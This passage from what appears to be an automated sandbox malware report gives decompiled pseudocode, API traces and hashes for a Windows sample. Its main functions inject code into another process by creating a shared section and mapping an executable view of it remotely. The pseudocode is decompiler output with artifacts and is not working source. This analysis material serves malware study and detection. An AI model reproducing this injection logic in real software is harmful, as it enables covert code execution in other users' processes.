					 *((intOrPtr*)(_t204 - 0x34)) =  *((intOrPtr*)(_t204 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t204 - 0x5c)) = _t90;
				_t186 = _t204 - 0x60;
				 *_t186 = _t178;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t186);
				_t93 =  *_t186;
				if(_t93 != 0) {
					_t135 = _t204 - 0x30;
					 *_t135 = _t93;
					_t135[1] = _t178;
					_t188 = _t204 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t204 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t204 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t204 - 0x10), 0xffffffff, 0xffffffff, _t204 - 0xc, _t178, _t178, 2) == 0) {
						 *(_t204 - 8) = _t178;
						_t101 = _t204 - 0x50;
						 *(_t101 + 4) = _t178;
						 *_t101 = 0x5000;
						_t189 = _t204 - 0x54;
						if(NtCreateSection(_t189, 6, _t178, _t101, 4, 0x8000000, _t178) == 0) {
							 *_t25 =  *(_t204 - 0x50);
							_t124 = _t204 - 0x44;
							 *_t124 = _t178;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t124, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
								_t126 = _t204 - 0x3c;
								 *_t126 = _t178;
								if(NtMapViewOfSection( *_t189,  *(_t204 - 0xc), _t126, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
									_t203 =  *(_t204 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t178, _t203, 0x104);
									 *((intOrPtr*)(_t203 + 0x208)) =  *((intOrPtr*)(_t204 + 0x14));
									 *(_t204 - 8) =  *(_t204 - 8) + 1;
								}
							}
						}
						_t103 = _t204 - 0x50;
						 *(_t103 + 4) = _t178;
						 *_t103 =  *((intOrPtr*)(_t204 + 0x10)) + 0x10000;
						_t190 = _t204 - 0x58;
						if(NtCreateSection(_t190, 0xe, _t178, _t103, 0x40, 0x8000000, _t178) == 0) {
							while( *(_t204 - 8) != 0) {
								 *_t46 =  *(_t204 - 0x50);
								_t105 = _t204 - 0x48;
								 *_t105 = _t178;
								if(NtMapViewOfSection( *_t190, 0xffffffff, _t105, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 4) == 0) {
									_t107 = _t204 - 0x40;
									 *_t107 = _t178;
									_t226 = NtMapViewOfSection( *_t190,  *(_t204 - 0xc), _t107, _t178, _t178, _t178, _t204 - 0x38, 1, _t178, 0x20);
									if(_t226 == 0) {
										L20();
										if(_t226 != 0 || _t226 == 0) {
											L24:
											asm("lodsb");
											goto L42;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t226 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t207 = _t207 - 1;
												goto L24;
											}
										}
									}
								}
								goto L62;
							}
						}
					}
				}
				L62:
				_t95 = L00401271(0x15a2, _t131, _t178, _t230);
				return _t95;
			}

0x00401577
0x00401577
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x0040172d
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x0040172b
0x00401727
0x0040171c
0x00000000
0x004016fa
0x004016cf
0x004016c9
0x00401600
0x004018d6
0x00401909
0x00401912

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d62221e2a9e443d9bc5816716b28d20c51c631a2778ae685e110c82c7b342627
Instruction ID: b0faeeba7e18bafba690b3cb0d97e2e89bbfd40d66e78b2ea794a9924a670d05
Opcode Fuzzy Hash: d62221e2a9e443d9bc5816716b28d20c51c631a2778ae685e110c82c7b342627
Instruction Fuzzy Hash: 08511B71900209BFEB209F91CC48FAF7BB8FF85B10F104159F911BA2A5E6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00401587(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				void* _t87;
				intOrPtr _t90;
				long _t93;
				void* _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				long* _t136;
				long _t179;
				long* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				void* _t207;
				void* _t208;
				intOrPtr _t213;
				long _t227;
				void* _t232;

				_t232 = __fp0;
				asm("out 0xdc, al");
				_t1 = _t205 + 0x68;
				 *_t1 =  *((intOrPtr*)(_t205 + 0x68)) + __ecx;
				_t213 =  *_t1;
				_push(0x36c);
				_t208 = _t207 + 4;
				L00401271(_t87, __ebx, __edi, _t213);
				_t131 =  *((intOrPtr*)(_t205 + 8));
				_t179 = 0;
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t90 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t90 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t90;
				_t187 = _t205 - 0x60;
				 *_t187 = _t179;
				 *((intOrPtr*)(_t131 + 0x4c))(_t90, _t187);
				_t93 =  *_t187;
				if(_t93 != 0) {
					_t136 = _t205 - 0x30;
					 *_t136 = _t93;
					_t136[1] = _t179;
					_t189 = _t205 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t189, 0x18);
					 *_t189 = 0x18;
					_push(_t205 - 0x30);
					_push(_t189);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t179, _t179, 2) == 0) {
						 *(_t205 - 8) = _t179;
						_t101 = _t205 - 0x50;
						 *(_t101 + 4) = _t179;
						 *_t101 = 0x5000;
						_t190 = _t205 - 0x54;
						if(NtCreateSection(_t190, 6, _t179, _t101, 4, 0x8000000, _t179) == 0) {
							 *_t27 =  *(_t205 - 0x50);
							_t124 = _t205 - 0x44;
							 *_t124 = _t179;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t124, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
								_t126 = _t205 - 0x3c;
								 *_t126 = _t179;
								if(NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t126, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t179, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *(_t205 - 8) =  *(_t205 - 8) + 1;
								}
							}
						}
						_t103 = _t205 - 0x50;
						 *(_t103 + 4) = _t179;
						 *_t103 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t191 = _t205 - 0x58;
						if(NtCreateSection(_t191, 0xe, _t179, _t103, 0x40, 0x8000000, _t179) == 0) {
							while( *(_t205 - 8) != 0) {
								 *_t48 =  *(_t205 - 0x50);
								_t105 = _t205 - 0x48;
								 *_t105 = _t179;
								if(NtMapViewOfSection( *_t191, 0xffffffff, _t105, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 4) == 0) {
									_t107 = _t205 - 0x40;
									 *_t107 = _t179;
									_t227 = NtMapViewOfSection( *_t191,  *(_t205 - 0xc), _t107, _t179, _t179, _t179, _t205 - 0x38, 1, _t179, 0x20);
									if(_t227 == 0) {
										L17();
										if(_t227 != 0 || _t227 == 0) {
											L21:
											asm("lodsb");
											goto L39;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t227 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t208 = _t208 - 1;
												goto L21;
											}
										}
									}
								}
								goto L59;
							}
						}
					}
				}
				L59:
				_t95 = L00401271(0x15a2, _t131, _t179, _t231);
				return _t95;
			}

0x00401587
0x00401587
0x00401589
0x00401589
0x00401589
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x0040172d
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x0040172b
0x00401727
0x0040171c
0x00000000
0x004016fa
0x004016cf
0x004016c9
0x00401600
0x004018d6
0x00401909
0x00401912

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8bb3de617ba26b69093f1a55f0c70da1e77151e50b2de449b15fd8471af5bca1
Instruction ID: eba5a94354b6d959a908896b75b9ac4ab9a555b93fbf6af3f2d26d8a5be8b00e
Opcode Fuzzy Hash: 8bb3de617ba26b69093f1a55f0c70da1e77151e50b2de449b15fd8471af5bca1
Instruction Fuzzy Hash: 65512875900249BFEF208F91CC48FEFBBB8FF85B00F104159F911AA2A5E6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401584 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401584(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t85;
				intOrPtr _t88;
				long _t91;
				void* _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				intOrPtr _t130;
				long* _t134;
				long _t177;
				long* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				void* _t206;
				void* _t211;
				long _t225;
				void* _t230;

				_t230 = __fp0;
				_t129 = __ebx - 1;
				_t211 = __ebx - 1;
				_push(0x36c);
				_t206 = _t205 + 4;
				L00401271(_t85, _t129, __edi, _t211);
				_t130 =  *((intOrPtr*)(_t203 + 8));
				_t177 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t88;
				_t185 = _t203 - 0x60;
				 *_t185 = _t177;
				 *((intOrPtr*)(_t130 + 0x4c))(_t88, _t185);
				_t91 =  *_t185;
				if(_t91 != 0) {
					_t134 = _t203 - 0x30;
					 *_t134 = _t91;
					_t134[1] = _t177;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t177, _t177, 2) == 0) {
						 *(_t203 - 8) = _t177;
						_t99 = _t203 - 0x50;
						 *(_t99 + 4) = _t177;
						 *_t99 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t177, _t99, 4, 0x8000000, _t177) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t122 = _t203 - 0x44;
							 *_t122 = _t177;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t122, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
								_t124 = _t203 - 0x3c;
								 *_t124 = _t177;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t124, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(_t177, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t101 = _t203 - 0x50;
						 *(_t101 + 4) = _t177;
						 *_t101 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						if(NtCreateSection(_t189, 0xe, _t177, _t101, 0x40, 0x8000000, _t177) == 0) {
							while( *(_t203 - 8) != 0) {
								 *_t46 =  *(_t203 - 0x50);
								_t103 = _t203 - 0x48;
								 *_t103 = _t177;
								if(NtMapViewOfSection( *_t189, 0xffffffff, _t103, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 4) == 0) {
									_t105 = _t203 - 0x40;
									 *_t105 = _t177;
									_t225 = NtMapViewOfSection( *_t189,  *(_t203 - 0xc), _t105, _t177, _t177, _t177, _t203 - 0x38, 1, _t177, 0x20);
									if(_t225 == 0) {
										L19();
										if(_t225 != 0 || _t225 == 0) {
											L23:
											asm("lodsb");
											goto L41;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t225 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t206 = _t206 - 1;
												goto L23;
											}
										}
									}
								}
								goto L61;
							}
						}
					}
				}
				L61:
				_t93 = L00401271(0x15a2, _t130, _t177, _t229);
				return _t93;
			}

0x00401584
0x00401584
0x00401584
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x0040172d
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x0040172b
0x00401727
0x0040171c
0x00000000
0x004016fa
0x004016cf
0x004016c9
0x00401600
0x004018d6
0x00401909
0x00401912

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: e80f536caf152bf3e94cc0c71f5de3aa1a25313e1634a9dc855d69bf66b71934
Instruction ID: ff4589d9dd45cbe131ca404f5a1a7b84b96daa50389d3937c11961242829b966
Opcode Fuzzy Hash: e80f536caf152bf3e94cc0c71f5de3aa1a25313e1634a9dc855d69bf66b71934
Instruction Fuzzy Hash: 3F51FB75900209BFEB209F91CC48FAF7BB8FF85B10F104159F911BA2A5E6759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401727 Relevance: 3.2, APIs: 2, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 1b174bee9bc4ce0ddfe2b487e6742de9121d706ac4a08f4dc1842a7cd9d6002a
Instruction ID: 14111f5365361c6cb25e6e8641aff9d84a81222d0f78e87a8274a0a0a7f535ba
Opcode Fuzzy Hash: 1b174bee9bc4ce0ddfe2b487e6742de9121d706ac4a08f4dc1842a7cd9d6002a
Instruction Fuzzy Hash: 22519136904204EBDB259A55CC48FBA77B5EF84704F24813BE842772F0D67C6A42E75B

Uniqueness

Uniqueness Score: -1.00%

Function 008DCECB Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 008DCEF3
Module32First.KERNEL32(00000000,00000224), ref: 008DCF13

Memory Dump Source

Source File: 00000000.00000002.357053208.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, Offset: 008D8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d8000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1be8afccb55c883d16ed0e1c44a09db02c031a9617de87079737ae4fe1a93739
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 8EF0C231100316ABD7202BF9A88DBAAB3EDFF48725F10072AE646D11C0CBB0EC058A61

Uniqueness

Uniqueness Score: -1.00%

Function 0070003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0070024D

Strings

kernel32.dll, xrefs: 0070008F, 00700095
cess, xrefs: 0070018D

Memory Dump Source

Source File: 00000000.00000002.356673245.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_700000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 9be9b3c6779dbc4fec803037c48c4e54be1ef0d9e37ab80a9898581bd6dc0544
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 5C527974A00229DFDB64CF58C984BA8BBB1BF09314F1481E9E50DAB391DB34AE94DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00700E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00700223,?,?), ref: 00700E19
SetErrorMode.KERNELBASE(00000000,?,?,00700223,?,?), ref: 00700E1E

Memory Dump Source

Source File: 00000000.00000002.356673245.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_700000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 363d1c857498136fbe31aee574387ff28b79b8b4375f79cccd03c8d3e1615692
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: AED01231145128B7D7003A94DC09BCD7B5CDF05B62F008411FB0DE9080C774994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004112FF Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 00411330

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: e4a0572b6b4feeefca0d0a0f70cc7a3c39e2c8b9c28c390c464a2391472bd7df
Instruction ID: cfcfaa0a18297a6651c4fe9ab3818ff7a16b308a1585782e3a45418f4d4336bc
Opcode Fuzzy Hash: e4a0572b6b4feeefca0d0a0f70cc7a3c39e2c8b9c28c390c464a2391472bd7df
Instruction Fuzzy Hash: 32F0E23A5101205EEB213B756C448F7122CEA8A329316443BFE62C3665FA284CC383A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2B3 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040E2C8

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: aa762fefa4a27bcf9cbf3603b77c7fa676a3d8c36f1559c4c653a126d522f15a
Instruction ID: 406327dbb5f2dcf89aa2ca3983ad258d9808f20d3e6a25132f5b2c573a594d13
Opcode Fuzzy Hash: aa762fefa4a27bcf9cbf3603b77c7fa676a3d8c36f1559c4c653a126d522f15a
Instruction Fuzzy Hash: C2D097325503056EEB004F70BC087B23BCCD3C4381F008436BD0CE6190F274C580E600

Uniqueness

Uniqueness Score: -1.00%

Function 0040DC6E Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMT ref: 0040DC70

Part of subcall function 0040DBFC: RtlEncodePointer.NTDLL(00000000,?,0040DC75,00000000,004171C4,00589A30,00000000,00000314,?,0040FB0A,00589A30,00402F50,00012010), ref: 0040DC63

Memory Dump Source

Source File: 00000000.00000002.356375886.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 7b86b45f8937276c33617a1efff138c370403075c0d02ec435a090ccf8e93572
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00401915(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;

				_t24 = __eflags;
				_push(0x5a);
				L00401271(0x194a, _t16, _t21, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E0040149E(_t20, _t24); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E0040156B(_t20, _t25, __fp0, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t21, _t25);
			}

0x00401915
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

